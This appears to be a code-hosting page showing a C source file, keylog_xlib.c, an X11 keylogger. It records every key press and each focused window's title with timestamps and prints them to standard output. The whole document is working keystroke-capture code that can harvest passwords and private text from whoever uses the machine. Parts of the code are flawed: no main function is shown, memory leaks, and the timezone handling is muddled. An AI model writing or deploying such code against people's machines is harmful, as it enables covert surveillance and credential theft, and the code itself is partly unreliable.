Нет описания

keylog_xlib.c 3.3KB

    #include <time.h> #include <ctype.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <assert.h> #include <X11/Xlib.h> #include <X11/Xutil.h> #define IsTTYFunctionKey(keysym) (((keysym >= 0xff08) && (keysym <= 0xff1b)) || keysym == 0xffff) /* internal state */ Window focused_window = None; Window last_focused_window = None; char *rfc3339_format_time(struct tm *time) { char *rfc3339 = malloc(sizeof(char) * 100); strftime(rfc3339, 100, "%Y-%m-%d %H:%M:%S", time); int tzd_sec = abs(timezone) / 60 / 60; int tzd_mon = abs(timezone) % 60; sprintf(rfc3339 + strlen(rfc3339), "%+03d:%02d", tzd_sec, tzd_mon); return rfc3339; } char *rfc3339_now_str() { time_t now_t = time(NULL); struct tm *now = gmtime(&now_t); return rfc3339_format_time(now); } Window wparent(Display *display, Window window) { Window parent; Window root; Window *children; unsigned int nchildren; XQueryTree(display, window, &root, &parent, &children, &nchildren); return parent; } XTextProperty *get_window_name(Display *display, Window window) { XTextProperty *wm_name_prop = malloc(sizeof(XTextProperty)); Atom net_wm_name = XInternAtom(display, "_NET_WM_NAME", False); XGetTextProperty(display, window, wm_name_prop, net_wm_name); if (wm_name_prop->value == NULL) { XGetTextProperty(display, wparent(display, window), wm_name_prop, net_wm_name); } return wm_name_prop; } void print_focus() { printf("%ld %ld\n", last_focused_window, focused_window); } void print_title(Display *display) { XTextProperty *wm_name_prop = get_window_name(display, focused_window); printf("focus '%s' %s\n", wm_name_prop->value, rfc3339_now_str()); free(wm_name_prop); } void print_key(XEvent ev) { KeyCode kc= -1; KeySym ksym; char *ksymname = NULL; char *kname = malloc(sizeof(char) * 2); XLookupString(&ev.xkey, kname, 2, &ksym, 0); /* Find out string representation */ if(ksym == NoSymbol) { ksymname = "NoSymbol"; } else { if (!(ksymname = XKeysymToString (ksym))) { ksymname = "(no name)"; } kc = XKeysymToKeycode(ev.xany.display, ksym); } if (ksymname != NULL) { const int non_printable = IsKeypadKey(ksym) || IsTTYFunctionKey(ksym) || IsFunctionKey(ksym) || IsCursorKey(ksym) || IsModifierKey(ksym); printf("key "); if (non_printable) { printf("%s", ksymname); } else { printf("'%s'", kname); } printf(" %s\n", rfc3339_now_str()); } } void setup(Display *display) { int _ignore; Window window; XGetInputFocus(display, &window, &_ignore); XSelectInput(display, window, KeyPressMask | FocusChangeMask | PropertyChangeMask); } void unfocus(Display *display) { if (focused_window != None) { last_focused_window = focused_window; focused_window = None; } } void refocus(Display *display) { int _ignore; XGetInputFocus(display, &focused_window, &_ignore); assert(focused_window != None); } void print_next_event(Display *display) { setup(display); XGetInputFocus(display, &focused_window, malloc(sizeof(int))); XEvent ev; XNextEvent(display, &ev); Atom _NET_WM_NAME = XInternAtom(display, "_NET_WM_NAME", False); if (ev.xany.type == FocusOut) { unfocus(display); } else if ((ev.xany.type == PropertyNotify && ev.xproperty.atom == _NET_WM_NAME) || (ev.xany.type == FocusIn)) { refocus(display); print_title(display); } else if (ev.xany.type == KeyPress) { print_key(ev); } }